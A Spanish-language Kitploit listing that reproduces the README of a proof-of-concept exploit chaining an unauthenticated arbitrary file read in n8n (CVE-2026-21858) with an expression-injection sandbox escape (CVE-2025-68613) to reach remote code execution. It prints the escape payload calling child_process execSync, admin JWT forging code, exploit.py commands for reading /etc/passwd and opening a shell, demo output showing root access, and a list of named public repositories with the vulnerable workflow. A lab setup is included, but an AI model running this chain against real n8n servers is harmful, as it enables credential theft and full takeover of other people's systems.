Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21858 — n8n Ni8mare - Lectura arbitraria de archivos no autenticada a cadena de RCE (CVSS 10.0) | Kitploit
Herramientas/GitHubGitHub/chocapikk/cve-2026-21858
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubchocapikk/cve-2026-21858

CVE-2026-21858

n8n Ni8mare - Lectura arbitraria de archivos no autenticada a cadena de RCE (CVSS 10.0)

Ver Repositorio
261514hace 5 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2026-21858 + CVE-2025-68613 - Cadena completa n8n

Lectura arbitraria de archivos sin autenticación → Forja de token de administrador → Evasión de sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Crítico)
Afectado<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corregido1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgado2026-01-07 11:09 UTC
Nombre claveNi8mare
CréditoDor Attias (Cyera)
ExploitChocapikk
ProcesoAutomatizado con IA: diff del parche → reproducción → laboratorio → exploit (~9 h después de la divulgación)
TipoPrueba de concepto: NO es un exploit universal (requiere una configuración de workflow específica; consulta Limitaciones)

TL;DR

Cadena RCE completa sin autenticación en n8n:

  1. CVE-2026-21858 - Confusión de Content-Type → Lectura arbitraria de archivos
  2. Leer configuración + base de datos → forjar JWT de administrador
  3. CVE-2025-68613 - Inyección de expresiones → evasión de sandbox → RCE

Detección

La exposición se basa en la versión. En cuanto a exposición, hay instancias vulnerables de n8n accesibles públicamente.

Resultados de LeakIX: Ver instancias expuestas

Resultados de detección de LeakIX

¿Por qué este exploit?

Este exploit se desarrolló de forma independiente al informe de Cyera (descubierto después de finalizarlo). Diferencias clave:

Ambos enfoques requieren configuraciones de workflow específicas. Cyera necesita chat + integración de IA; este exploit necesita un formulario con nodo Respond. Consulta Limitaciones para más detalles.

Cadena de ataque

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lectura arbitraria de archivos mediante confusión de Content-Type

El parche

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

El legendario «Merge commit from fork»: cuando ves esto, alguien encontró algo picante. 🌶️

Causa raíz

root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envía Content-Type: application/json → controla filepath → lee cualquier archivo.

CVE-2025-68613 - RCE por inyección de expresiones

¿Por qué esta evasión?

n8n aísla el código del usuario (nodo Code, expresiones) mediante vm2/isolated-vm. Otros vectores RCE:

TécnicaEstado
Nodo Execute CommandDeshabilitado por defecto ()

Usé la inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada: no requiere nodos ni configuración especiales. La evasión de Pyodide (CVE-2025-68668) requiere el nodo Python Code, que puede no estar disponible en todas las instancias.

El payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Las expresiones de n8n tienen acceso a this.process.mainModule.require → evasión total del sandbox.

Forja de token

root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuración del laboratorio

root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Uso

root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demostración

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitaciones

Este NO es un exploit «pwn cualquier n8n». Requiere condiciones específicas para funcionar:

RequisitoDescripción
Formulario con carga de archivos

Ejemplo de configuración de workflow vulnerable:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en workflows de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).

Funciona con:

  • Formularios con nodo Respond que devuelven binario (convertidores de archivos, procesadores)
  • Instalaciones predeterminadas de n8n (la inyección de expresiones no está bloqueada)
  • Despliegues locales/Docker (base de datos y configuración almacenadas en disco)

No funciona con:

  • Formularios sin nodo Respond (el archivo se lee, pero el contenido no se devuelve en la respuesta HTTP)
  • Formularios que requieren autenticación
  • n8n Cloud (arquitectura diferente, sin acceso a archivos locales)
  • Versiones parcheadas (>= 1.121.0)

Nota: La vulnerabilidad (lectura arbitraria de archivos) se activa independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Los métodos alternativos (OOB, otros nodos de salida) pueden funcionar según la configuración del workflow.

Explotación ciega: Si no existe un nodo respond, n8n sigue leyendo el archivo, pero no se puede exfiltrar mediante la respuesta HTTP. Serían necesarias técnicas alternativas (OOB, temporización).

Ejemplos del mundo real

El patrón vulnerable (Form Trigger + carga de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.

Nota: Los repositorios populares de workflows de n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:

Estos son workflows aportados por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.

Referencias

  • Entorno Vulhub - Laboratorio listo para usar en Vulhub
  • Investigación de Cyera: informe completo de Ni8mare - Investigación original de Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Plantilla de Nuclei CVE-2025-68613
  • Resultados de búsqueda en LeakIX - Instancias vulnerables expuestas
  • Formidable - «La librería, no la canción» (gracias a Cyera por la risa)
Descargar herramienta
Cyera (investigación original)Este exploit
Lectura de archivosCargar en la base de conocimiento de IA → consultar mediante chatRespuesta HTTP directa
Requisitos previosWorkflow de chat + integración de IACualquier formulario con carga de archivos
Método RCENodo "Execute Command" (deshabilitado por defecto)Inyección de expresiones (funciona en instalaciones predeterminadas)
AutomatizaciónDemostración manual/conceptualScript de Python totalmente automatizado
N8N_ALLOW_EXEC_COMMAND=false
Nodos SSH/HTTPSe ejecutan en servidores remotos, no en el host de n8n
Evasión de sandbox de PyodideCVE-2025-68668: requiere el nodo Python Code
Inyección de expresionesCVE-2025-68613: funciona en instalaciones predeterminadas
El objetivo debe tener un workflow de formulario con un campo de carga de archivos
Nodo Respond to WebhookEl workflow debe devolver el contenido del archivo en la respuesta HTTP
Workflow activoEl workflow del formulario debe estar activado
Acceso sin autenticaciónEl formulario debe ser accesible públicamente (sin autenticación)
Workflow FileCampos de archivorespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImágenes, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocumento (PDF)text
ai_resume_project/resume_rag.jsonCarga de archivoallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonArchivo de audiotext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonarchivotext
voltixLandingPage/.../chatbotvoltix.jsonSubir archivopredeterminado
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonarchivopredeterminado
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonSube tu documentopredeterminado
learn_earn_ai_insta/.../My workflow.jsonsube tu archivopredeterminado
finintworkshop/.../API using n8n (ToT).jsonarchivojson